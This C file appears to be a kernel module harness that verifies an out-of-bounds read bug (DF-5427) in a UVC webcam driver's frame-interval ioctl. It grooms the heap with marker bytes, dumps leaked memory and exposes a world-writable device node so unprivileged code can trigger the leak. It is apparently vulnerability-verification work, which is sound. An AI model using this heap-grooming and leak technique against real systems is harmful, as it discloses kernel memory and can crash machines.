/*
 * uvcharness.c - pass-2 verification harness for sys/bus/u4b/uvc/uvc_v4l2.c
 *                 (unprivileged surface: VIDIOC_ENUM_FRAMEINTERVALS)
 *
 * DF-5427: signed/unsigned index confusion in
 *   uvc_v4l2_ioctl() VIDIOC_ENUM_FRAMEINTERVALS dispatch (uvc_v4l2.c:562-566)
 *   -> uvc_drv_enum_v4l2_frameintervals() (uvc_drv.c:731-789):
 *      uvc_drv.c:750   int index = itv->index;          <- __u32 user value
 *      uvc_drv.c:756   if (index < nintervals) break;   <- passes when negative
 *      uvc_drv.c:768   frm->interval[index].val         <- OOB READ, the value
 *                                                          is copied back out
 *
 * The harness #includes the REAL driver sources (newbus registration
 * neutered), parses a crafted-but-benign UVC config descriptor exactly as a
 * real webcam presents it, then registers a REAL cdev via the production
 * uvc_v4l2_reg() -> make_dev(...0666...) so an unprivileged userland program
 * can drive the production ioctl path on /dev/video97.
 *
 * modes (sysctl hw.uvcharness):
 *   1/2/3 - leak round: groom same-size heap chunks with a per-round marker
 *           (0x5A / 0xA7 / 0xC3), re-parse, dump ground truth of
 *           interval[-i] for i = 1..60, run the kernel-side negative-index
 *           sanity call.  Guest stays up.
 *   (the wild-offset panic is triggered from userland: ./trigger --panic)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/bus.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/lock.h>

/* Neuter driver registration; we want the production code only. */
#undef DRIVER_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, drv, dc, evh, arg)
#define MODULE_DEPEND(name, mod, min, pref, max)
#define MODULE_VERSION(mod, ver)

/* The real driver code, verbatim */
#include "uvc_buf.c"
#include "uvc_ctrls.c"
#include "uvc_v4l2.c"
#include "uvc_drv.c"

static void *harness_refs[] __unused = { &uvc_driver, &uvc_devclass };

static struct usb_device fake_udev;
static struct usb_interface fake_ifaces[2];
static uint8_t fake_devt[512];		/* zeroed fake device_t */

static struct uvc_softc gsc;
static struct uvc_drv_ctrl *gctrl;
static struct uvc_drv_video gvideo;
static int gvideo_registered;

#define BLOB_LEN 109
/* [fmt array | frm array | interval slab] sizes for nfmt=1 nfrm=1 nitv=4 */
#define SLAB_SIZE (1 * sizeof(struct uvc_data_format) + \
		   1 * sizeof(struct uvc_data_frame) + \
		   4 * sizeof(struct uvc_data_interval))

static const uint8_t guid_yuy2[16] = {
	'Y',  'U',  'Y',  '2', 0x00, 0x00, 0x10, 0x00,
	0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71,
};

#define ITV0 333333u
#define ITV1 400000u
#define ITV2 666666u
#define ITV3 1000000u
#define FW 640
#define FH 480

static void
build_blob(uint8_t *b)
{
	uint8_t *p;

	memset(b, 0x00, BLOB_LEN);

	/* [0..8] configuration descriptor, wTotalLength = BLOB_LEN */
	p = b;
	p[0] = 9;  p[1] = 2;
	p[2] = BLOB_LEN & 0xff;
	p[3] = (BLOB_LEN >> 8) & 0xff;
	p[4] = 2;			/* bNumInterface */
	p[5] = 1;			/* bConfigurationValue */
	p[7] = 0x80;  p[8] = 250;

	/* [9..17] interface #0: VIDEO class (0x0E), subclass CONTROL (1) */
	p = b + 9;
	p[0] = 9;  p[1] = 4;  p[2] = 0;  p[3] = 0;  p[4] = 0;
	p[5] = 0x0E;  p[6] = 0x01;  p[7] = 0;  p[8] = 0;

	/* [18..30] CS VC_HEADER, bLength = 13 */
	p = b + 18;
	p[0] = 13;  p[1] = 0x24;  p[2] = 0x01;	/* UDESCSUB_VC_HEADER */
	p[3] = 0x10;  p[4] = 0x01;		/* wRevision = 0x0110 */
	p[5] = 13;   p[6] = 0;			/* wTotalLen */
	p[7] = 0x00; p[8] = 0x36; p[9] = 0xEE; p[10] = 0x00;	/* dClockFreq */
	p[11] = 1;				/* bIfaceNums */
	p[12] = 1;				/* bIfaceList[0]: VS iface number */

	/* [31..39] interface #1: VIDEO class (0x0E), subclass STREAMING (2) */
	p = b + 31;
	p[0] = 9;  p[1] = 4;  p[2] = 1;  p[3] = 0;  p[4] = 0;
	p[5] = 0x0E;  p[6] = 0x02;  p[7] = 0;  p[8] = 0;

	/* [40..66] CS VS_FORMAT_UNCOMPRESSED, bLength = 27 */
	p = b + 40;
	p[0] = 27;  p[1] = 0x24;  p[2] = 0x04;	/* UDESCSUB_VS_FORMAT_UNCOMPRESSED */
	p[3] = 1;				/* bFormatIndex */
	p[4] = 1;				/* bFrameNum */
	memcpy(p + 5, guid_yuy2, 16);		/* bGuidFmt */
	p[21] = 16;				/* bBitsPerPixel */
	p[22] = 1;				/* bDefaultFrameIndex */

	/* [67..108] CS VS_FRAME_UNCOMPRESSED, bLength = 26 + 4*4 = 42 */
	p = b + 67;
	p[0] = 42;  p[1] = 0x24;  p[2] = 0x05;	/* UDESCSUB_VS_FRAME_UNCOMPRESSED */
	p[3] = 1;				/* bFrameIndex */
	p[4] = 0;				/* bCapabilities */
	p[5] = FW & 0xff;  p[6] = FW >> 8;	/* wWidth = 640 */
	p[7] = FH & 0xff;  p[8] = FH >> 8;	/* wHeight = 480 */
	p[9] = 0x00; p[10] = 0x74; p[11] = 0x2f; p[12] = 0x00;	/* dMinBitRate */
	p[13] = 0x00; p[14] = 0x74; p[15] = 0x2f; p[16] = 0x00;	/* dMaxBitRate */
	p[17] = 0x00; p[18] = 0x60; p[19] = 0x09; p[20] = 0x00;	/* dMaxFrameBufferSize */
	p[21] = 0x15; p[22] = 0x16; p[23] = 0x05; p[24] = 0x00;	/* dDefaultFrameInterval = 333333 */
	p[25] = 4;				/* bFrameIntervalType = 4 (discrete) */
	/* dFrameInterval[0..3] */
	p[26] = (uint8_t)ITV0; p[27] = (uint8_t)(ITV0 >> 8); p[28] = (uint8_t)(ITV0 >> 16); p[29] = (uint8_t)(ITV0 >> 24);
	p[30] = (uint8_t)ITV1; p[31] = (uint8_t)(ITV1 >> 8); p[32] = (uint8_t)(ITV1 >> 16); p[33] = (uint8_t)(ITV1 >> 24);
	p[34] = (uint8_t)ITV2; p[35] = (uint8_t)(ITV2 >> 8); p[36] = (uint8_t)(ITV2 >> 16); p[37] = (uint8_t)(ITV2 >> 24);
	p[38] = (uint8_t)ITV3; p[39] = (uint8_t)(ITV3 >> 8); p[40] = (uint8_t)(ITV3 >> 16); p[41] = (uint8_t)(ITV3 >> 24);
}

static void
setup_fake(uint8_t *blob)
{
	memset(&fake_udev, 0, sizeof(fake_udev));
	fake_udev.cdesc = (struct usb_config_descriptor *)blob;
	fake_udev.ifaces = fake_ifaces;
	fake_udev.ifaces_max = 2;

	memset(fake_ifaces, 0, sizeof(fake_ifaces));
	fake_ifaces[0].idesc = (struct usb_interface_descriptor *)(blob + 9);
	fake_ifaces[1].idesc = (struct usb_interface_descriptor *)(blob + 31);
}

static int
run_round(int round, uint8_t marker)
{
	struct uvc_data_format *fmt;
	struct uvc_data_frame *frm0;
	struct uvc_data_interval *itv0;
	struct v4l2_frmivalenum itvq;
	void *groom[32];
	uint8_t *blob;
	size_t slabq;		/* slab size in uint32 units */
	int i, ret;

	/* heap groom: free a run of same-size chunks filled with `marker' so
	 * the memory just below/around the fmt slab allocation contains the
	 * marker (adjacent kernel heap content an attacker would disclose). */
	for (i = 0; i < 32; i++) {
		groom[i] = kmalloc(SLAB_SIZE, M_TEMP, M_WAITOK);
		memset(groom[i], marker, SLAB_SIZE);
	}
	for (i = 0; i < 32; i++)
		kfree(groom[i], M_TEMP);

	blob = kmalloc(BLOB_LEN, M_TEMP, M_WAITOK | M_ZERO);
	build_blob(blob);
	setup_fake(blob);

	memset(&gsc, 0, sizeof(gsc));
	gsc.udev = &fake_udev;
	gsc.dev = (device_t)(void *)fake_devt;
	gsc.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;

	gctrl = uvc_drv_init_ctrl(&fake_ifaces[0], 0, 0);
	ret = uvc_drv_parse_ctrl(&gsc, gctrl);
	if (ret != 0 || gsc.data == NULL) {
		kprintf("HARNESS DF-5427[%d]: parse failed ret=%d\n", round, ret);
		return (-1);
	}

	kprintf("HARNESS DF-5427[%d] marker=0x%02x: nfmt=%u nfrm=%u nitv=%u "
	    "slab=%p sizeof(fmt)=%zu sizeof(frm)=%zu sizeof(itv)=%zu SLAB=%zu\n",
	    round, marker, gsc.data->nfmt, gsc.data->nfrm, gsc.data->nitv,
	    gsc.data->fmt, sizeof(struct uvc_data_format),
	    sizeof(struct uvc_data_frame), sizeof(struct uvc_data_interval),
	    SLAB_SIZE);

	fmt = &gsc.data->fmt[0];
	frm0 = &fmt->frm[0];
	itv0 = &frm0->interval[0];
	slabq = SLAB_SIZE / 4;

	kprintf("HARNESS DF-5427[%d]: fmt fcc=0x%08x name=<%s> frm w=%u h=%u "
	    "interval_type=%u itv=%u/%u/%u/%u\n", round, fmt->fcc, fmt->name,
	    frm0->width, frm0->height, frm0->interval_type,
	    itv0[0].val, itv0[1].val, itv0[2].val, itv0[3].val);

	/* ground truth: what an unprivileged VIDIOC_ENUM_FRAMEINTERVALS with
	 * index = 0x80000000|i reads at interval[-i] */
	kprintf("HARNESS DF-5427[%d]: interval[-i] ground truth "
	    "(slab start=%p, in-slab units=%zu, offset of interval array in slab=%zu):\n",
	    round, (void *)gsc.data->fmt, slabq,
	    (size_t)((uint8_t *)itv0 - (uint8_t *)gsc.data->fmt));
	for (i = 1; i <= 60; i++) {
		if ((i - 1) % 8 == 0)
			kprintf("HARNESS DF-5427[%d]  [-%02d]", round, i);
		kprintf(" %08x", itv0[-i].val);
		if (i % 8 == 0)
			kprintf("\n");
	}
	kprintf("HARNESS DF-5427[%d]: interval[-1] = frm0 tail (width|height<<16) = "
	    "0x%08x (expect 0x%08x); interval[-%d] and beyond = OUTSIDE the "
	    "%zu-byte slab allocation (groom marker 0x%02x)\n",
	    round, itv0[-1].val, (frm0->height << 16) | frm0->width,
	    (int)((slabq * 4 - (size_t)((uint8_t *)itv0 - (uint8_t *)gsc.data->fmt)) / 4) + 1,
	    SLAB_SIZE, marker);

	/* point the live video at the fresh graph; the cdev reads this at
	 * ioctl time */
	gvideo.sc = &gsc;
	gvideo.ctrl = gctrl;
	gvideo.data = gsc.data;

	/* register the real cdev once, via the production function */
	if (!gvideo_registered) {
		gvideo.unit = 97;
		gvideo.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
		lockinit(&gvideo.mtx, "uvcvh", 0, 0);
		atomic_store_64(&gvideo.users, 0);
		atomic_store_64(&gvideo.pri, 0);
		ret = uvc_v4l2_reg(&gvideo);
		if (ret != 0) {
			kprintf("HARNESS DF-5427: uvc_v4l2_reg ret=%d\n", ret);
			return (-1);
		}
		gvideo_registered = 1;
		kprintf("HARNESS DF-5427: production cdev /dev/video%lu created "
		    "(0666) via uvc_v4l2_reg()\n", (unsigned long)gvideo.unit);
	}

	/* kernel-side sanity: the production function itself with a negative
	 * index must return 0 and disclose interval[-1] */
	memset(&itvq, 0, sizeof(itvq));
	itvq.index = 0xFFFFFFFFu;		/* == (uint32_t)-1 -> interval[-1] */
	itvq.pixel_format = V4L2_PIX_FMT_YUYV;
	itvq.width = FW;
	itvq.height = FH;
	ret = uvc_drv_enum_v4l2_frameintervals(&gvideo, &itvq);
	kprintf("HARNESS DF-5427[%d]: kernel-side negative call ret=%d type=%u "
	    "num=%u den=%u (raw interval[-1]=0x%08x)\n", round, ret, itvq.type,
	    itvq.x.discrete.numerator, itvq.x.discrete.denominator, itv0[-1].val);

	return (0);
}

static int harness_mode;

static int
sysctl_harness(SYSCTL_HANDLER_ARGS)
{
	int error, m = harness_mode;

	error = SYSCTL_OUT(req, &m, sizeof(m));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &m, sizeof(m));
	if (error != 0)
		return (error);
	if (m >= 1 && m <= 3) {
		static const uint8_t marks[3] = { 0x5A, 0xA7, 0xC3 };
		run_round(m, marks[m - 1]);
	}
	harness_mode = m;
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, uvcharness, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_harness, "I", "uvc DF-5427 verification harness trigger");

static int
uvcharness_handler(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("HARNESS: loaded (real uvc sources compiled in)\n");
		run_round(1, 0x5A);
		return (0);
	case MOD_UNLOAD:
		if (gvideo_registered)
			return (EBUSY);
		kprintf("HARNESS: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t uvcharness_mod = {
	"uvcharness",
	uvcharness_handler,
	NULL
};
DECLARE_MODULE(uvcharness, uvcharness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
